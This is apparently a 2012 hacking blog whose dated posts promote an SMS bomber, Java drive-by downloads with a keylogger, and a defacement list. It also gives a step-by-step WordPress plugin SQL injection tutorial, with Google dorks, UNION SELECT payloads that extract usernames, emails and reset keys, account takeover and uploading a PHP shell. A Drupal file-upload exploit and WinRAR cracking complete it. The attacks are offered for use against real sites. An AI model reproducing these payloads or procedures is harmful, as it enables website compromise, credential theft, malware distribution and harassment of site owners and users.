Friday, December 28, 2012

Free mobile Sms bomber For Android phones


Bomb your friends with alot of SMS in a short period



Features

  • - Unlimit number of text
  • - Flood multiple contacts
  • - Cancel button
  • - No delay or periodically send
  • - Remember last config
  • - Easily select contacts
  • - Counter to make sms differently
  • - Add counter to (press menu/Counter) into each text
  • - Download Anti SMS Bomber before bombarding :)

    Download & Install


    Once you have .apk file installed, on your phone enable debugging mode (Menu --> Settings --> Applications --> Check Unknown sources)

    it could be detected as a virus because it is a spam app nd it is false positive detection :P
    it works 100% its a clean app !
    i myself have used it :D
    dont forget to download anti sms bomber !

Thursday, December 27, 2012



Checkout  my previous tut about what is java drive and how to setup a java drive
Here is the tutorial how to  clone any webpage and turn into a javadrive:


Download required files from here

What is a Java drive ?

A Java Drive-By is a Java Applet that is coded in Java and is put on a website. Once you click "Run" on the pop-up, it will download a program off the internet. This program can be a virus or even a simple downloader. If you'd like to get the source code or wanna know more information about a Java Drive-By, use Google.


Here is a detailed video tutorial of java drive >>




Downlaod Java drive files from here
                                      Download keylogger from here

Wednesday, December 19, 2012



Indian hacking crew Team indi hex has made there come back after many months.
as they  have given payback to BD hacker for hacking ICP website!

Hackers from team indihex  D_intrud3r , Un_n0n Antil0g defaced several websites.
including bangladesh website as a payback !!!
Previoiusly hackers of Team indi hex also took down more than 5000 websites of bangladesh , which resulted in end of cyber war between India and bangladesh.

Here is the list of websites hacked by D_Intrud3r & Un_n0n Antilog


++++++++++++++++++++++++++++++
http://cpsbd.info/
mirror>> http://www.hack-db.com/134584.html

++++++++++++++++++++++++++++++++++



other websites:

http://juliaponomarenko.ru/indihex.html


http://www.kepplar.com/indihex.html

http://airsoftrate.ru/indihex.html

http://www.signmaking-consult.de/indihex.html

http://www.easysign-software.de/indihex.html

http://www.graphtec-signplotter.de/indihex.html

http://www.mline-computer.com/indihex.html

http://www.summa-signplotter.de/indihex.html

http://me.airsoftrate.ru/indihex.html

http://www.vv-concept.de/indihex.html

http://yii.airsoftrate.ru/indihex.html

More pwnage coming s00n by t3am indih3x!!!!!

Friday, September 21, 2012

As requested by few of you i decided to make this small tutorial on how to hack a wordpress site that has an SQLi in plugin.
watch this video tutorial for more help:






So lets begin.
I will use this 0day by JoinSeventh.

First of all we need to find a vulnerable page.
We enter this in Google:

Code:
# Dork 1 (config.php)
inurl:"/wp-content/plugins/hd-webplayer/config.php?id="

# Dork 2 (playlist.php)
inurl:"/wp-content/plugins/hd-webplayer/playlist.php?videoid="

# Dork 3 (General):
inurl:"/wp-content/plugins/hd-webplayer/"

When you found your site you need to find admin email and username.
I will be using this site for example:

Code:
http://www.website.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=3


When i add ' text disappears so it is vulnerable.

NOTE: I will not demonstrate how to SQL inject.

Now we need admin username and email.
We need to inject:

Code:
http://www.website .com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_email,0x3b),5,6,7,8,9,10,11 FROM wp_users--

Now we have 2 users.

We pick one and copy his email.
Go to the login page of the site.
It is usually here:

Code:
http://www.site.com/wp-login.php

And press "Lost your password?"

Now you enter either username or email.
We can enter both so it doesnt matter.
I entered email.

[Image: regionby.png]
[Image: regionng.png]

Now when you got:

"Check your e-mail for the confirmation link."

It means that reset key is successfully sent.
Now we need to get the activation key.

Go back to the syntax you used for extracting email and username and do this:

Code:
http://www.website .com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_email,0x3b),5,6,7,8,9,10,11 FROM wp_users--


Code:
http://www.website .com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_activation_key,0x3b),5,6,7,8,9,10,11 FROM wp_users--

Voila!
Now we just need to reset it.

Go to:

Code:
wp-login.php?action=rp&key=resetkey&login=username

NOTE: Replace key= & login= 

So my link will be:

Enter new password:

Login with new password and shell it.






Download php shell

Tuesday, September 11, 2012


i have shared the same tut last year but i feel a video tut will be more better !!
watch this video tutorial
with this trick you can send messages from your friends id  to any one on facebook !!!!

Saturday, August 4, 2012

                                                 
Crack the code


Reverse engineering is basically the reverse process of Engineering. Software reverse engineering involves reversing a program�s machine code (the string of 0s and 1s that are sent to the logic processor) back into the source code that it was written in, using program language statements. Normally we use dissemblers to view the assembly language instructions of a software rather than binary code (0s and 1s) which are difficult to play around.

you can aslo reverse the keylogger/RAT servers to get the information of hacker u can play with many softwares which have no encryption nd good security :D!!


OllyDbg OllyDbg


OllyDbg is a 32-bit assembler level analysing debugger for Microsoft Windows. Emphasis on binary code analysis makes it particularly useful in cases where source is unavailable. OllyDbg is a shareware, but you can download




i am gonna show you a tutorial  for exapmle in below video:
tutorial link : http://www.youtube.com/watch?v=nsGS1El3Sd0&feature=youtu.be


Cracking WInRAr with ollydbg Reverse engineering tool

 

Friday, July 13, 2012



                               



This is a very simple remote file upload exploit on drupal in which you can upload defaces,jpgs,php,asp,shell.asp;me ..etcetc
Google Dorks : 
inurl:"/imce?dir=" 

intitle:"File Browser"

exploit :       
http://website.com/imce?dir= 

Shell Access : 
http://website.com/files/yourfilehere 
http://www.website.com/abc/files/abc/yourfilehere




Sunday, July 8, 2012

1.Go to fb.maherhackers.com
2.Login with your Facebook Account


3.Just filll out the details as you want your post to be posted
4.After fillling columns Click on POST as given in the above screen shot.

Caution: you will be blocked by fb if you will use this app continously without stopping!!

Monday, July 2, 2012


Watch video tut on youtube : http://adf.ly/AHnf3



Download link : http://adf.ly/AHoDC